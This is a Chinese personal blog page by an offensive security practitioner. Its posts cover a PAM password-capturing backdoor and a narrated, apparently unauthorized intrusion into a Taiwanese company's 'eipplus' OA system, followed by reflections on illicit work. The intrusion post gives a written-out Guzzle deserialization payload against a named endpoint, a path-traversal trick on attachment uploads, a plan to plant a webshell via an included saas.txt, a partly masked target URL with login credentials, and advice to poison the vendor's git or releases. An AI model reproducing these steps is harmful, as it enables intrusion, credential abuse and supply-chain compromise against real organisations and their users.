Ippsec的方法是,把auth optional pam_exec.so quiet expose_authtok /tmp/sshd.sh的expose_authtok约束删了,然后放在认证成功后面

这样子如果脚本接收到一个空字符的信号,就代表程序PAM已经走到密码已经通过验证的那个步骤,那么就代表上一次抓取的密码是正确的,这一步骤可能造成条件竞争?我不知道,但是它也是能工作的,所以从视频里可以看到ippsec用go代码实现了这个流程

要是换我的话可能会用另一个暴力方法实现,那就是直接读取/etc/shadow,用我们脚本手动验证一遍hash是否正确。当然这可能会有更大的延迟,但是也许不会有条件竞争,懒得写了,咕咕咕。用到再说吧

没了

Tags: linux, 后门

记一次肾透

没东西水了,而且没成功,索性就放出来吧。

很久以前的案例,由于太过丢人,一直不怎么敢提,有些资源当时也没截完全,就顺手看看吧闲着无聊,开日!
目标是谁好呢?随便找一个吧。

*电?很NB,就他了!

外网搜一堆资产,不是自研,就是一些功能简单的前端Nodejs,一眼能打的资产很少。

index-1_1.png
怎么办呢?这时候我们发现了一个很好的目标
2.jpg

系统名称eipplus,一看就是个类似OA系统一样的东西,功能一定很多。同时一搜公网资产

index-1_3.png

很好,很有精神!同代码的站点,非常非常的多,就从他作为突破口!

总而言之,先搞到一套源码先。之后就是开始平淡无奇的供应链环节,辣么多站,总不至于一个都打不下来吧

index-2_1.png

平淡无奇供应商找个注入

平淡无奇getshell

index-2_2.png

index-2_3.png
平淡无奇发现目标
index-2_4.png

平淡无奇打死

怎么打死的呢?利用内网数据正好撞到sysadmin的密码,然后登录上去后台上传Logo图片直接传马成功

下载源码!一看
index-3_1.png
人当场裂开,怎么还是sourceguardian加密的。当场想哭。不过在这之前,至少我们能见到他们系统内部长啥样以及他们的代码架构具体是啥了。

本地起个环境,大概的模样长这样

index-3_4.png
index-4_1.png
index-4_2.png
index-4_3.png

随手截的一些图,大伙看个乐呵就行

以及大致的目录结构

index-5_1.png

到此为止,我们已经拥有了目标代码,只不过是加密的,以及一个同站的高权限后台。但是我们目标系统肯定是没有sysadmin权限的

现在我们的方案有几个:

  • 配合目录和后台,黑盒寻找未授权打死
  • 寻找后门工具/开发者工具,想办法解密然后打死
  • 寻找越权,然后从低权限越权到高权限,再利用我们后台传马的功能直接打死目标

看看其他可能的漏洞点,这类系统的漏洞点无非就是几个,我们只要关注如下地方

  • 相册
  • 附件
  • 上传
  • 系统环境管理
  • 系统更新

都测了一通过后,发现安全做的勉强还行,普通用户都没办法访问系统更新和系统环境管理这些后台功能,相册和附件那没有直接一眼低权可以访问的getshell的点

只能第二个方法,我们看看目录结构

对于黑盒看目录结构,我们重点关注几个东西

  • 文件管理(filemanager),看看有无未授权
  • 开发工具(tools/develops),有没有开发遗留后门
  • 各类工具(utils),主要是看有没有未授权
  • 日志(log) , 主要是看有没有信息泄漏
  • 配置文件(config),其实一般看不出来啥,但是我写出来只是单纯觉得一旦能看出来啥就很厉害
  • 管理后台(admin),主要还是看未授权

注意是黑盒情况下,因为我们目前没办法获得完整源码,所以没办法深入查看详细业务去审计漏洞,实际白盒的话还有很多漏洞是会出现在业务代码里的

只要看到这些关键词,基本都是很有意思的东西,都可以想办法打开访问访问试试,看看有没有什么未授权接口或者开发遗留

其中有几个东西很有意思,一个是

index-6_1.png

这个文件夹下面很有可能会有开发的一些系统调试工具,比如SQL查询工具啊文件管理工具等 以及

index-6_2.png

虽然说是iso,但是其实本质上应该还是个zip相关工具,就有可能出现zip畸形目录漏洞,利用../../这样逃逸导致任意文件写入之类的

以及顺手看了看后台admin目录下的内容,都是很有意思的东西

index-7_1.png

以及还有一个很好玩的文件

index-8_1.png

推测这是用于授权的证书,只不过这个<?php,非常的有意思

简单初步黑盒测了一通,完全没有未授权接口,人都傻了,怎么办?开逆咯

sourceguardian 12加密,去淘宝查了下价格,一个文件5R。这几千个文件,tnnd逆到猴年马月,而且看都看不出来,没办法,只好装工具先自己手动看字节码逆了

index-9_1.png

装了个vld,一个字节一个字节的看,对着developtools和admin下的东西,看了半天,P都没看出来

人直接脑溢血,越想越气,越气就越怒,怒怒怒到极致邪气了,服气,不服不行,怎么办?恶像胆边伸,要不我们直接把开发商打了吧。

直接去代码里看这个开发商,很容易的看出开发商是谁

本系统由百*资通维护

进行一波信息搜集

index-9_2.png

甚至发现他们有git

index-9_3.png
index-10_1.png

好,很有精神,就日它了!但是TMD git访问不到,怎么办?

以及一些git泄漏,但是都没什么卵用。

其他站点不是都是eipplus这套系统的测试站,就是一个单纯啥都没有的前端。怎么办呢?

这时候,我们发现了一个东西

index-10_2.png

30天免费试用?

抱着试一试的态度,注册了申请

index-11_1.png

结果真的发来了,乐,对自己的系统这么自信

index-11_2.png

这不干他?直接一眼顶针,故技重施,后台,系统管理,上传LOGO图片,一看,tmd修了,上传失败

只能继续看其他东西了,继续回到刚刚的思路,系统环境管理看完了,看系统更新

index-11_3.png

更新Saas服务?以及刚刚admin目录下那个saas.txt并且带<?的php文件

index-12_1.png

嘿哟喂,这不巧了吗?于是乎,添加一句话
index-12_2.png

上传,死!果然,直接liences他们是直接用include加载的,乐

index-12_3.png

顺带看了一下,他们这全套源码都是ROOT部署的,十分的NB,web目录全部没有权限写,只有这个saas.txt我们有权限修改

一看,不用打git了,他们部署的站点,直接就没加密,愉快的下源码

虽然说站点第二天就被应急了,amazone有什么agent检测的吗?不知道怎么回事,不过这不碍事。

愉快开审咯!

继续整理现有资产

  • 我们拥有的:完整的白盒代码
  • 目标的低权限账户,虽然我们手头暂时没有,但是我们先假设我们有,辣么多员工如果一个账户都搞不到那还是别打肾透了.jpg,对自己自信一点

所以现在的需求很简单,就从之前的半黑盒完全转变成了白盒。这下门道就多多了。比如业务代码啊框架啊就有很多可以审的地方了

先按照找Java的管理,找Fastjso...噢不对,这是PHP代码,也一样。 首先先看autoload这类自动加载

index-14_1.png

一眼Guzzlehttp

再搜unseralize,结果真的有!!

index-15_1.png

在 calendarcsv_import.php 目录下,并且普通用户可以访问!

直接用PHPGGC构造请求(详细payload不是这样,要进行一些编码,但是这里为了方便查看就直接这样了,大家看看就行)

POST /eipplus/calendar/csv_import.php
action=next
next=1
trans=111
fieldsep=1
cal_fields=O:24:"GuzzleHttp\Psr7\FnStream":2:{s:33:" GuzzleHttp\Psr7\FnStream methods";a:1:{s:5:"close";a:2:{i:0;O:23:"GuzzleHttp\HandlerStack":3:{s:32:" GuzzleHttp\HandlerStack handler";s:9:"phpinfo()";s:30:" GuzzleHttp\HandlerStack stack";a:1:{i:0;a:1:{i:0;s:6:"assert";}}s:31:" GuzzleHttp\HandlerStack cached";b:0;}i:1;s:7:"resolve";}}s:9:"_fn_close";a:2:{i:0;O:23:"GuzzleHttp\HandlerStack":3:{s:32:" GuzzleHttp\HandlerStack handler";s:9:"phpinfo()";s:30:" GuzzleHttp\HandlerStack stack";a:1:{i:0;a:1:{i:0;s:6:"assert";}}s:31:" GuzzleHttp\HandlerStack cached";b:0;}i:1;s:7:"resolve";}}

index-15_2.png

本地测试轻松写出

想着勾八目标直接写webshell tnnd不就行了?结果想起来他们这全套都是部署在ROOT下面

不管了先试试!冲!

https://osheip.**.com.tw/eipplus/home/index.php 121public/121public

轻轻松松搞到个账户先

index-16_1.png

index-16_2.png

漏洞点也存在

写出!寄,没写成功,但是也不算太糟,至少已经成功了98%了,距离完美只差临门一脚

继续整理思路,现在我们已经有getshell的方式了,虽然说web目录不可写,但是那个saas.txt文件是可以写的。并且guzzle写文件用的是file_put_contents,默认写出是写相对路径,我们压根不需要web目录的绝对路径就能定位到saas.txt的地址。假如如果我们只要getshell不管后续,我们只要用这个反序列化直接对着saas.txt覆盖成我们的马就行,但是这样会有一个问题

如果直接写的话就会覆盖原本saas配置,导致直接网站直接爆炸,并且就算我们getshell后,也没办法恢复成原样,因为我们压根不知道原本的saas配置导致光速被发现。所以我们就只剩下最后一个目标,挖个洞。把saas.txt下回来!,然后在夜深人静的时候,光速写入saas.txt,连上shell再把saas.txt改回去。

接下来就面临噩梦了,必须得审业务代码,他们这个B代码总共有500M,属于是最害怕的一集出现了!!

没办法,硬着头皮上了,什么file_get_contents啊,fopen啊什么一大堆看了一遍,不是修了就是写的十分的安全。痛苦,悲

看了两个多小时,终于终于终于终于终于,不愧是天天天天天才的我,终于读成功了。

继续回到上面一个重点关注列表:

  • 相册(输)
  • 附件
  • 上传(输)
  • 系统环境管理(输)
  • 系统更新 (输)

具体流程如下:

发布帖子
index-17_1.png

随便添加个附件

index-17_2.png
抓包,修改tmp_name,让他进行跨目录

index-17_3.png
直接查看源码,在common_functions.inc.php中,可以发现代码对于tmp_name是直接进行拼接的,没有任何过滤!!!

然后我们发布文件后,下载的文件就会变成我们的tmp_name的文件。只要我们把tmp_name,指向saas.txt这个文件,然后发布,然后再下载我们自己的附件,就可以把saas.txt下回来了!爽!

不愧是我,天才中的天才

本地测试成功,远程测试成功

index-18_1.png

saas.txt下回来成功,现在所有拼图都已经集齐

现在就是等待夜深人静的时候上去csv_import啪的一下打死这破站,然后开开心心的冲内网美滋滋了

为了防止被发现,开始清理帖子走人,成败就等夜深人静时刻

然后。。。。就没有然后了。
index-18_2.png

晚上回来,发现,无法登录了都。。

天才你mlg臭嗨,笨比,你就是个纯纯纯纯笨比,笨比中的笨比,啊啊啊啊啊

原来笨比,竟是我自己。

当我沉浸在下回saas.txt洋洋得意中的时候,我手贱删除了帖子。

但是我没有意识到,删除贴子的时候,会删除附件,然后由于这个帖子的附件已经成功被我重定向到saas.txt,我一删除附件,saas.txt也就跟着一起消失了。

然后站就这么炸了,一键白打。

来自2024的点评

这事很早很早的时候弄得,那时候还是太年轻了啊。那时候只学会供应链的其一,没学会供应链的其二。终究搞得还是太费力气了,在自己不熟悉的领域(代码审计)上硬磕

测试站应该深入继续,而不是死盯着源码,应该直接拿下git然后悄悄往里面投毒,或者往发布的release版本里面投毒,这种源码加密站点投毒是最方便的。基本检查不出来。当时应该离git很近了。

不过无所谓了,反正就是休闲时日一日的东西。继续滚去干活了

Tags: none

HELLO-2024

近况

距离上次发文章,已经过了半年多了。想着博客都长草了,正巧新年了来水个博客证明自己还活着

因为我个人观念是农历新年才算新年,然后过年的时候又在家里摆烂啥也不想动,所以才拖到现在开始发文章

这一年来发生了许多事,日了许多之前想都没办法想的庞然大物,挺好玩的。缺点就是没办法像之前那样做个法外狂徒把过程都给发出来。毕竟这次是真的挺刑的。

然后由于精力都花在工作上了,就没什么时间摸鱼搞那些可以作为文章发出来的案例,然后太水的又不想发,所以博客就一直没怎么更新。

争取2024多搞几个案例水水文章。

生活

来到广州也一年多了,对广州想法就是一个,好多人,全是人,全TMD都是人

而且这边车道修的好宅,有些地方甚至没有自行车道,导致走在哪都是360无死角被电鸡创,非常的刺激,非常滴恐怖

以及广州这个交通我的看法是真的没救了,除了地铁和电动车其他出行方式基本是瘫痪状态,上次3km坐车坐了1h你敢信

不过广州吃的挺多的,虽然不太合我胃口,但是不得不说吃东西确实挺方便(x

虽然但是,只有出来了一趟才知道家里原来还挺好的,过年回了一趟家久违的在公交车上感受到了推背感

然后今年还去了两趟北京两趟深圳,百京就是众所周知的原因就不说了,深圳的话也去了两次,深圳和广州比那就不一样了,那才是真-一线城市的感觉。

专业

一年多不对,两年了,没有排练,没有琴房,没有试唱练耳,甚至没有勾八和声作业,没有每天的a→a↗a↑a↘a↓。不知不觉原本作为每天的日常行为已经完全消失了。现在手上反而特别怀念之前这些。

之前上学音乐为专业的时候天天玩电脑,自己本专业碰都不想碰。现在上班了反而反过来了,天天碰电脑,下班了脑袋里却一直想着音le的事。果然,消灭一个爱好最好的方式就是把它变成上班hh

不过不怎么意外的是,成功在2023学到了一门新技能,那就是弹guitar。虽然很早就开始自己慢慢摸了,大概应该是2021年9月份时候?不过那时候还在学校and被拉去苦逼山里当老师(真-公立校的老师),当了一个学期,然后回来就是直接毕业寄导致2021-2022基本都是没怎么练琴的状态。

哇刚学的时候那是真的好痛苦,看着视频里大佬们看的非常羡慕,然后再看看现实里自己的菜逼技术那是真的非常折磨,恨不得下一秒自己就变的那么强。真正有突飞猛进的进步还是在2023年,不是说弹的多好,至少算是入门等级了吧。至少证明了坚持的重要性。

今天同时还下单了个midi键盘,现在前置技能树基本快点齐了,(和声√ 钢琴√ 架子鼓x bass√ 吉他√ 人声x)看看能不能在2024年写出一个自己的作品出来,之前都是小打小闹,只能算demo,看看今年成果吧

技术

技术这方面怎么说呢,已经融入到日常生活了,完全不知道有什么可以量化的,所以具体提升也不知道怎么样。

抽象一点呢,就是相当于虽然不能百分百指哪打哪,但是都有碰一碰的底气。打渗透就像之前三字经,钻一切空子,制造一切机会。

找到机会了之后,剩下就是拼基本功和细节了。对抗方面基本不说了,这个基本算得上是基本功,什么后渗透啊,终端对抗啊,都取决于一个前提,那就是你能打到点。

不过2024年的今天,打点也越来越取决于两个方面了,一个是军火,也就是漏洞储备,还有一个就是社工。常规漏洞已经越来越少了,特别是对于那些有点安全水平的目标来说,基本找不到常规漏洞,就算有常规漏洞,也是一瞬间被设备捕获然后光速告警GG。

所以现在基本都是靠漏洞储备,0day,要不就是现场挖。。不过这玩意感觉只能作为决战兵器使用,为什么?因为漏洞基本只能打一次,打完了基本就修了。你辛辛苦苦挖了那么久的东西打了没了就没了

然后就是社工,一般我们说社工只有钓鱼这一类攻击,很好用,非常好用,但是可惜我就是学不会,嘴笨TAT,上来直接一个简历.exe,然后顺带被劈头盖脸一顿骂,感觉拿的不是工资是精神损失费。但是钓鱼也只能算是社工里很小的一块,真正的大头在后面,这些我待会说。

最后总结了下,越打攻防越发现,哥才是最后的版本赢家。因为这两年下来,我越发越感觉到,漏洞是越打越少的,但是的资源是越打越多的。

**利用各种手段拿下A,用A的"资源"(资源包含很多,不只数据,还有信道,甚至正常业务)去拿下B,然后可能原本拿不下的C,用A和B的"资源"配合,成功拿下C,然后再以此类推,利滚利滚利,越滚越大,手牌越打越多。

而我们这批常规rt,一开始还能刷常规资源,常规资源刷没了之后,就开始刷储备,储备刷完刷0day,我们刷一次,手里牌就打出去一张,然后就得靠后端/实验室大哥辛辛苦苦的去给我们攒手牌(挖漏洞),最后结果就是手牌越打越少。

跟别说**不只能用社工手法,还能用推送手法,甚至关键时候人家也能配合漏洞刷,基本是无往不利。

有点想加入他们,但是这种基本只有两个路子,不是走出去就是收编,走出去太苦收编又没人要我。 算了,扯了些有的没的,这暂时我没啥关系,现在只能暂时当个守法好公民了。

所以技术方面能说的也没啥,磨练基本功,提高自身基本素质(基本编程,对抗,后渗透)。然后同时开始储备(漏洞,源码,数据,甚至是信道)。在未来赛博战场。这些都将派上用场。

结尾

总之想说的就这么多了,2024年见

Tags: none

写了篇不太好发出来的

有点刑,想看的直接找我要密码

Tags: none
文章总数:200篇 分类总数:4个